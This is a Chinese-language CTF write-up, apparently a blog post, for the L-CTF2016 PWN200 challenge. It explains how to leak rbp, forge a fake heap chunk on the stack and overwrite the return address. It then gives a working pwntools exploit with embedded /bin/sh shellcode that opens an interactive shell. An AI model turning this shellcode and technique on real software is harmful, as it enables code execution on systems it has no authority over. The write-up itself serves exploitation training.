L-CTF2016 PWN200 writeup

本以为已经可以做出题来了。。。没想到连利用点在哪都没看见

例行公事


居然什么保护都没开,有趣

利用点分析

  • v2位于rbp-0x30的位置,而name会读入0x30个字符,且如果读入0x30个字符的话末尾不会有\x00,这样在printf的时候就会顺带leak出rbp的值
  • id保存在rbp-0x38的位置

    *buf在栈上的位置是rbp-0x40,dest在栈上的位置是rbp-0x8,但是buf却读了0x40个字节,很明显最后八字节会将dest的块的地址覆盖
  • strcpy遇到\x00停止
利用方法
  1. 先leak出rbp的地址
  2. 用money构造fake chunk,然后再用id字段构造next chunk的size,此时money与id之间保存的内容包括了当前调用空间的rbp以及ret address
  3. 将dest的地址覆盖成fake chunk的地址,然后用check out函数将其free
  4. 再check in同样的size,然后往栈中构造shellcode,再将ret address覆盖成payload的地址
  5. 或者也可以在第一次输入money的时候就输入payload,但是要注意控制好长度,不然会因为strcpy将已经覆盖好的dest再覆盖成shellcode
exp
from pwn import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
io = process('./pwn200')
shellcode=""
shellcode += "\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
io.recvuntil('who are u?\n')
io.send('a'*0x30)
io.recvuntil('a'*0x30)
rbp_addr = u64(io.recv(6).ljust(8,'\x00'))
log.success('rbp : '+hex(rbp_addr))
io.recvuntil('give me your id ~~?\n')
io.sendline('33')
io.recvuntil('give me money~\n')
payload = shellcode +p64(0)*2 + p64(0x41)
payload = payload.ljust(0x38,'\x00')
payload += p64(rbp_addr - 0x90)
io.send(payload)
io.recvuntil('your choice : ')
io.sendline('2')
io.recvuntil('your choice : ')
io.sendline('1')
io.recvuntil('how long?\n')
#gdb.attach(io,'b *0x4008FD')
#raw_input()
io.sendline(str(0x30))
io.recv()
io.sendline(p64(0)*3+p64(rbp_addr - 0xc0 + 1))
io.recv()
io.sendline('3')
io.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值